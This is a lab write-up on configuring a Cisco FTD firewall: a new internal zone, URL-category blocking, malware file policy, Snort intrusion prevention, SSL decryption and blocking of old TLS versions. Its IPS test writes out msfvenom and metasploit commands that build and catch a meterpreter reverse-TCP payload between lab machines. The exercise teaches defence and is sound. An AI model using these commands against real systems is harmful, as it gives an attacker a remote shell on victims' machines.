After deploying and configuring successfully the FTD and creating a basic topology with just 1 internal client, we decided to create another internal zone called internal2 for a secondary branch. Moreover, we studied in depth some features of FTD and decided to apply them in our secured network:

- traffic filtering based on URL categories

- file policy to detect malware

- IDS/IPS for network traffic investigation of possible attacks

- SSL decryption for traffic in-depth analysis

- logging to syslog server to generate alerts

Other features include:

- High availability (HA) used to provide redundancy or load balancing - will be studied in detail and implemented on Fortigate machines here. Use cases of HA active-passive: failover in case of crashes, OS updates of active instance and connection needs to remain up (we may have a website that needs to have 24/7 availability and a patch update is required)

- remote access VPN (used to create a gateway for remote users connection to internal network - like we use GlobalProtect for eve-ng access) - will be studied also in detail and implemented on Fortigate machines here

The topology here is almost the same as the one from the last lab, the only difference being the new zone (called inside2) with another client (client2, which is the Kali VM).

Remember that we deployed the firewall with 4 interfaces: 1 for mgmt and the rest of 3 for traffic (only 2 of them inside and outside where used and configured). Then, there is 1 left we need to configure for inside traffic data.

You need to:

- firstly shutdown the machine (only from cli!)

- add a new Linux node with kali image (use it for ips detection) and the rest of config default (1 eth interface)

- connect it to to G0/2 found on FTD and start both nodes

- go to FDM and enable the 3rd interface in routed mode, name it inside2, ip 192.168.46.1 and create a new dhcp server to apply to it (you can use the pool: 192.168.46.2 - 192.168.46.254)

- create a new security zone named inside2 (linked with the new interface) and also the corresponding nat and access policy rules

Test if client2 has Internet access.

In the previous lab, we decided to block facebook site for internal users, but this was based on static url entries defined by us. As we want to block a set of websites based on their type, we can use url categories.

Your task is to create an access policy rule for the internal zones to block the url category where facebook is also located. You need to enable the url license and find the corresponding category for facebook (hint: Talos).

For testing, do the following:

- test access from client to twitter, snapchat, tiktok etc. It should fail.

- test access to other websites like google.com, digi24.ro etc.

We can block a client from downloading malware file from websites, emails, ftp server etc. by using file policy in an access policy. There is need firstly to enable the following licenses: threat and malware, then create an access policy with action Allow (the only action where file policy can be used), from zones inside and inside2 to outside zone. This will protect internal users from downloading any known malware by Talos.

There are 2 options for this feature:

1. Block malware all - use this one: check the file downloaded and if it is identified as malware, block the download and generate logs (monitoring > malware). See this option as prevention (ips like).

2. Malware Cloud lookup: this will only check the file and generate logs if it's identified as a threat, but the download is still possible for clients. See this option as detection (ids like).

After deploy, to test blocking, try to download from each client: http://www.cloudyip.net/AMP/Zombies.pdf . This is not a harmful pdf, but cisco will identify it as malware and block it.

Try also to download from Palo Alto website samples of Wildfire (their sandbox and considered the best on the market) malware files.

Then, go to FDM > Monitoring > Dashboard > Malware and see how transactions for pdf/msexe files are identified.

See that for the first file downloading is blocked, but for the second one, as it could not be identified exactly the 'disposition'.

FTD is based on a software developed by Sourcefire, company that was bought by Cisco in 2013. Sourcefire also developed snort, a network ids/ips (which you can also download on your own linux and create different rules to block nmap, flood attacks etc.). FTD is based on Snort for IDS/IPS and works in prevention mode by default, which will identify the possible attack and drop the connection. Snort in FTD has multiple default route already available. To check for a possible rule, use snort website. Each rule has a GID and a SID and based on them you can search if a specific exploit can be identified.

It can be enabled in access policy, on tab Intrusion Policy and has 4 modes:

- connectivity over security

- balanced security and connectivity

- security over connectivity

- maximum detection (which is the one we will use in our configuration)

The difference between them is the priority (connection or security) and if rules are enabled or not. We will use the last one in order to have the required one already enabled (on action DROP).

Create a new access policy rule: from inside and inside2 to inside2 and inside, action Allow. Deploy and go to Kali machine (client2).

Firstly, we will use a reverse tcp attack from attacker machine.

Create the trojan which we will copy to client1 (in a real life scenario, the attacker can generate phising attacks with this executable wrapped as another application and in the same time, it will listen for requests from client).

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.2 LPORT=4444 -f elf > 1.exe
# this will listen for connection on port 4444 from ip 192.168.46.2 (ip of kali - this should be assigned by dhcp server of FTD)
root@kali:~# scp 1.exe eve@192.168.45.46:~
# copy it to home dir of client1

Modify the policy rule from above: enable 'Intrusion policy' with 'Maximum Detection'. This is necessary to be added after scp as the crafted file will be identified as threat (named 128|6|SSH_EVENT_PAYLOAD_SIZE), making the copy not possible. In a real life scenario, this part needs to be secured by mail solutions and identified as spam containing possible malware.

Then, from kali start metasploit and use payload linux/x86/meterpreter/reverse_tcp:

root@kaili:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp 
msf exploit(handler) > set lhost 192.168.46.2
lhost => 192.168.46.2
msf exploit(handler) > set lport 4444
lport => 4444

Go to client1 and start the executable:

eve@ubuntu:~$ chmod +x 1.exe; ./1.exe

Start the attack from kali:

msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.46.2:4444

[*] Sending stage (985320 bytes) to 192.168.45.46 

# this must hang here as the connection will be blocked by FTD

^C

Then find on FTD > monitoring > dashboard > the threat 129|12|STREAM5_SMALL_SEGMENT from attacker 192.168.46.2 (in my case ip is 192.168.46.3 for kali):

We can inspect also encrypted traffic using FTD in two ways:

- decrypt re-sign (behaves like a mitm)

- decrypt known key (if you are the owner of the website - add it also to ftd and decrypt every packets s2c or c2s)

To be easier for configuration, we will use only the first option. From Polices > SSL decryption > enable decrypt re-sign and download the CA certificate, then upload it to client1.

Create a policy for traffic coming from inside to outside zone and for other fields keep any. After commit, try to access any website and see the browser error: unknown_issuer. This is because it does not know about that issuer/CA the ftd is currently using. To solve this, add the uploaded CA in it's trust store (from Mozilla preferences > search for certificates > view certificates > import > select ca_ftd.pem file > enable 'trust this ca to identify websites' and ok). Try again to access websites with http over tls (microsoft.com, digi24.ro etc.). Check also the cert of each and the issuer CN (it should be 'firepower' or the hostname of your FTD).

In the beginning of 2020, TLS version 1.0 and 1.1 became obsolete and many websites (850.000 were still using this old versions as said by netcraft) were affected by this decision. Currently, many of them have switched to newer versions like 1.2 and 1.3 and also browser implemented endpoint filtering and blocking websites if TLS version is less or equal to 1.1.

As, for now, we don't collect from internal clients data like browser version, we will suppose they did not update it for some time (which is the case for us also).

There exists a nice suite of testing websites called badssl where you can find different web pages with security problems: expired or revoked certificate, bad CN or tls version etc. All of those can be used for testing different scenarios, without having to create, for example, virtual hosts on apache2 servers with different problems.

From client1, go to badssl website and try all three tls websites: tls-v-1-0, tls-v-1-2 and tls-v-1-3. You should have access to all of them. Check also other websites like: expired, wrong-host etc. and see how blocking is already done by the browser.

To enforce this new requirement, we need to create another ssl decryption rule: will block all servers that are using tls1.0, tls1.1 and also ssl3.0 (which is for a long period of time eol). Check again tls testing websites from above and see how connection is dropped for the first 2.

> shutdown
This command will shutdown the system. Continue?
Please enter 'YES' or 'NO': YES